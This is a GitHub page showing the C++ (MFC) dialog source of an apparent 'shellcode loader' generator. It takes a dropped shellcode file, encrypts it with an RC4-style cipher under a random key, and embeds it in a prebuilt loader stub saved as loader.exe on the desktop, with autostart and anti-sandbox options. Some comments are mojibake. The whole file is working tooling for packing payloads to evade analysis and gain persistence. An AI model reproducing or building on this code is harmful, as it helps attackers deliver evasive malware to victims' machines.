-
Notifications
You must be signed in to change notification settings - Fork 381
Expand file tree
/
Copy pathshellcodeLoaderDlg.cpp
More file actions
234 lines (210 loc) · 5.55 KB
/
Copy pathshellcodeLoaderDlg.cpp
File metadata and controls
234 lines (210 loc) · 5.55 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
// shellcodeLoaderDlg.cpp : ʵÏÖÎļþ
//
#include "stdafx.h"
#include "shellcodeLoader.h"
#include "shellcodeLoaderDlg.h"
#include "afxdialogex.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#endif
// CshellcodeLoaderDlg ¶Ô»°¿ò
CshellcodeLoaderDlg::CshellcodeLoaderDlg(CWnd* pParent /*=NULL*/)
: CDialogEx(IDD_SHELLCODELOADER_DIALOG, pParent)
, ShellcodePath(_T(""))
, bool_x64(FALSE)
, bool_autostart(FALSE)
, bool_antisandbox(FALSE)
{
m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);
}
void CshellcodeLoaderDlg::DoDataExchange(CDataExchange* pDX)
{
CDialogEx::DoDataExchange(pDX);
DDX_Text(pDX, IDC_PATH, ShellcodePath);
DDV_MaxChars(pDX, ShellcodePath, 255);
DDX_Check(pDX, IDC_X64, bool_x64);
DDX_Check(pDX, IDC_AUTOSTART, bool_autostart);
DDX_Check(pDX, IDC_ANTISANDBOX, bool_antisandbox);
DDX_Control(pDX, IDC_METHOD, Method);
}
BEGIN_MESSAGE_MAP(CshellcodeLoaderDlg, CDialogEx)
ON_WM_PAINT()
ON_WM_QUERYDRAGICON()
ON_WM_DROPFILES()
ON_BN_CLICKED(IDC_GENERATE, &CshellcodeLoaderDlg::OnBnClickedGenerate)
ON_BN_CLICKED(IDC_X64, &CshellcodeLoaderDlg::OnBnClickedX64)
END_MESSAGE_MAP()
BOOL CshellcodeLoaderDlg::OnInitDialog()
{
CDialogEx::OnInitDialog();
SetIcon(m_hIcon, TRUE);
SetIcon(m_hIcon, FALSE);
WIN32_FIND_DATA wfd = { 0 };
HANDLE fhnd = FindFirstFile(_T("DATA\\32\\*.DAT"), &wfd);
if (fhnd == INVALID_HANDLE_VALUE)
{
FindClose(fhnd);
return TRUE;
}
BOOL bRet = TRUE;
while (bRet)
{
CString filename = wfd.cFileName;
Method.AddString(filename.Left(filename.ReverseFind(_T('.'))));
bRet = FindNextFile(fhnd, &wfd);
}
FindClose(fhnd);
Method.SetCurSel(0);
return TRUE;
}
void CshellcodeLoaderDlg::OnPaint()
{
if (IsIconic())
{
CPaintDC dc(this);
SendMessage(WM_ICONERASEBKGND, reinterpret_cast<WPARAM>(dc.GetSafeHdc()), 0);
int cxIcon = GetSystemMetrics(SM_CXICON);
int cyIcon = GetSystemMetrics(SM_CYICON);
CRect rect;
GetClientRect(&rect);
int x = (rect.Width() - cxIcon + 1) / 2;
int y = (rect.Height() - cyIcon + 1) / 2;
dc.DrawIcon(x, y, m_hIcon);
}
else
{
CDialogEx::OnPaint();
}
}
HCURSOR CshellcodeLoaderDlg::OnQueryDragIcon()
{
return static_cast<HCURSOR>(m_hIcon);
}
void CshellcodeLoaderDlg::StreamCrypt(unsigned char* Data, unsigned long Length, unsigned char* Key, unsigned long KeyLength)
{
int i = 0, j = 0;
unsigned char k[256] = { 0 }, s[256] = { 0 };
unsigned char tmp = 0;
for (i = 0; i < 256; i++)
{
s[i] = i;
k[i] = Key[i%KeyLength];
}
for (i = 0; i < 256; i++)
{
j = (j + s[i] + k[i]) % 256;
tmp = s[i];
s[i] = s[j];
s[j] = tmp;
}
int t = 0;
i = 0, j = 0, tmp = 0;
unsigned long l = 0;
for (l = 0; l < Length; l++)
{
i = (i + 1) % 256;
j = (j + s[i]) % 256;
tmp = s[i];
s[i] = s[j];
s[j] = tmp;
t = (s[i] + s[j]) % 256;
Data[l] ^= s[t];
}
}
void CshellcodeLoaderDlg::OnBnClickedGenerate()
{
UpdateData(TRUE);
if (ShellcodePath.IsEmpty())
{
AfxMessageBox(_T("Please drag in a shellcode file first(.bin)"));
return;
}
CONFIG config = { 0 };
config.autostart = bool_autostart;
config.antisandbox = bool_antisandbox;
srand(time(0));
for (int i = 0; i < 128; i++)
{
memset(&config.key[i], rand() % 0xFF, 1);
}
CString method,srcpath;
Method.GetWindowTextW(method);
if (bool_x64)
{
srcpath = _T("DATA\\64\\") + method + _T(".DAT");
}
else
{
srcpath= _T("DATA\\32\\") + method + _T(".DAT");
}
wchar_t filepath[MAX_PATH] = { 0 };
SHGetSpecialFolderPath(0, filepath, CSIDL_DESKTOPDIRECTORY, 0);
StrCatW(filepath, _T("\\loader.exe"));
if (CopyFile(srcpath,filepath,FALSE)==0)
{
AfxMessageBox(_T("Build loader failed"));
return;
}
HANDLE hShellcode = CreateFile(ShellcodePath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hShellcode == INVALID_HANDLE_VALUE)
{
AfxMessageBox(_T("Shellcode file occupied!"));
CloseHandle(hShellcode);
return;
}
int shellcodeSize = GetFileSize(hShellcode, NULL);
PBYTE shellcode = (PBYTE)malloc(shellcodeSize + sizeof(config));
memcpy(shellcode, &config, sizeof(CONFIG));
DWORD lpNumberOfBytesRead;
ReadFile(hShellcode, shellcode + sizeof(CONFIG), shellcodeSize, &lpNumberOfBytesRead, NULL);
StreamCrypt(shellcode + sizeof(CONFIG), shellcodeSize, config.key,128);
HANDLE hResource = BeginUpdateResource(filepath, FALSE);
if (NULL != hResource)
{
if (UpdateResource(hResource, RT_RCDATA, MAKEINTRESOURCE(100), MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPVOID)shellcode, shellcodeSize + sizeof(config)) != FALSE)
{
AfxMessageBox(_T("Generated successfully"));
EndUpdateResource(hResource, FALSE);
}
}
free(shellcode);
CloseHandle(hShellcode);
return;
}
void CshellcodeLoaderDlg::OnDropFiles(HDROP hDropInfo)
{
wchar_t pFilePath[256] = { 0 };
DragQueryFile(hDropInfo, 0, pFilePath, 256);
ShellcodePath.Format(_T("%s"), pFilePath);
UpdateData(false);
CDialogEx::OnDropFiles(hDropInfo);
}
void CshellcodeLoaderDlg::OnBnClickedX64()
{
UpdateData(TRUE);
Method.ResetContent();
WIN32_FIND_DATA wfd = { 0 };
HANDLE fhnd = INVALID_HANDLE_VALUE;
if (bool_x64)
{
fhnd = FindFirstFile(_T("DATA\\64\\*.DAT"), &wfd);
}
else
{
fhnd = FindFirstFile(_T("DATA\\32\\*.DAT"), &wfd);
}
if (fhnd == INVALID_HANDLE_VALUE)
{
FindClose(fhnd);
return;
}
BOOL bRet = TRUE;
while (bRet)
{
CString filename = wfd.cFileName;
Method.AddString(filename.Left(filename.ReverseFind(_T('.'))));
bRet = FindNextFile(fhnd, &wfd);
}
FindClose(fhnd);
Method.SetCurSel(0);
}